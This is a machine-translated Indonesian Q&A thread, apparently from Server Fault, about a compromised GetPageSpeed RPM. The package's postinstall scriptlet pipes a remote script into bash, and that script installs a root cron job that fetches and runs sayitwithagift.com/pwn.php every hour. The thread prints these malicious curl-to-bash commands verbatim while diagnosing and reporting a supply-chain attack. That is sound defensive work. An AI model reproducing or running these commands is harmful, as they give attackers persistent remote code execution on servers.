Bagaimana cara menginstal RPM ini membuat file?

16

Menjalankan yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmmenciptakan /etc/cron.d/sysstat2tetapi RPM menolak file:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

Bagaimana RPM membuat file dan bagaimana cara melihat apa lagi yang ia lakukan?

Pascal
sumber
4
Jadi, apakah orang-orang GetPageSpeed ​​ini dimiliki dan mereka tidak mengetahuinya, atau mereka sendiri yang menerbitkan RPM yang buruk?
Aaron Copley
1
RPM yang saya instal dari situs mereka tiga bulan lalu bagus. Yang jahat telah diposting kemarin. Saya pikir mereka dimiliki, dan siapa pun yang menggunakan repo mereka akan dimiliki. Yang jahat turun melalui pembaruan yum. Saya mengirimi mereka email dan pesan melalui formulir Hubungi Kami.
Pascal
Dan itu ditandatangani oleh mereka juga?
Aaron Copley
1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmadalah file asli, masih memiliki tanggal lama di repo mereka, dan gpgcheck=1diatur di dalamnya.
Pascal
1
Sarankan Anda juga menghubungi admin web di sayitwithagift.com meskipun YMMV mengenai respons seperti apa yang Anda dapatkan. Saya akhirnya melalui penyedia hosting situs web untuk menghubungi server e-mail yang salah konfigurasi sekali karena situs web itu sendiri tidak pernah merespons.
Darren

Jawaban:

18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php mengandung:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2
Pascal
sumber
16

Anda menemukan skrip rpm menjalankan skrip dari Internet, dan skrip tersebut saat ini mengalihkan ke apa yang mungkin merupakan malware. Meskipun, saya tidak menemukan banyak muatan yang melakukan apa pun.

rpm tidak dapat sepenuhnya melacak apa yang terjadi karena menjalankan skrip sewenang-wenang.

gpgcheck tidak akan membantu Anda, baik itu getpagespeed-extras-7-6.el7.gps.noarch.rpmdangetpagespeed-extras-release-7-1.el7.gps.noarch.rpm Anda tampaknya memiliki tanda tangan yang valid:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <[email protected]>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Mengadu kepada pemilik repo bahwa paket menjalankan kode arbitrer dari Internet. Jika harus melakukannya, keamanan rantai pasokan perangkat lunak mereka perlu ditingkatkan.

Tampaknya agak paranoid untuk melakukan instalasi perangkat lunak pertama tanpa akses Internet, atau secara manual memeriksa skrip "post install". Namun sayangnya hampir nampaknya perlu jika paket melakukan trik keliru seperti ini.

John Mahowald
sumber
Payload adalah pekerjaan cron yang mengunduh dan menjalankan ' sayitwithagift.com/pwn.php ' setiap jam. Saat ini tidak ada apa-apa di sana, tapi itu bisa berubah kapan saja. Menghapus RPM tidak menghapus muatan.
Pascal
RPM asli mereka tidak memiliki skrip postinstall. Hanya versi yang diunggah kemarin (mungkin oleh peretas) yang melakukannya.
Pascal
1
Tidak jelas apakah penambahan dari kode Internet exec adalah ide yang sah, atau ditambahkan oleh kru malware. Yang terakhir ini bahkan lebih buruk, karena itu menyiratkan proses penandatanganan dan pengunggahan terganggu.
John Mahowald
1

Saya memiliki 5 server CLoudLinux / cPanel yang dulu memiliki Nginx pada mereka melalui Engintron, tetapi mereka sekarang menjalankan server web LiteSpeed ​​sebagai gantinya. Saya pikir Engintron mungkin telah meninggalkan repo halaman-halaman belakang ketika itu dihapus. cPanel menjalankan pemeriksaan pembaruan setiap malam, dan sekitar tengah malam semua server saya mengirimi saya laporan E-mail:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Pencarian untuk situs payload membawa saya ke sini di mana saya melihat bahwa pada hari yang sama Anda mengalami masalah yang sama. Jadi, tambahkan info saya ke milik Anda. Sama/etc/cron.d/sysstat2 ada di semua server saya.

Saya menghapus file, menghapus repo, dan menggunakan formulir kontak di GetPageSpeed ​​untuk melaporkan masalah tersebut. Pemilik Repo mungkin AWOL karena ada posting blog yang mengatakan bahwa ia menutup repo karena masalah kesehatan. Jadi mungkin penyerang mengambil keuntungan dari fakta bahwa repo tidak mendapatkan perhatian, atau menemukan pintu terbuka untuk dieksploitasi.

John C. Reid
sumber
1
Pesan tentang mematikan repo telah diposting setelah dia menerima email saya tentang kompromi. Saya memintanya untuk membuka repo lagi dan mengirim paket yang diperbarui untuk dihapus /etc/cron.d/sysstat2. Dia telah melakukannya.
Pascal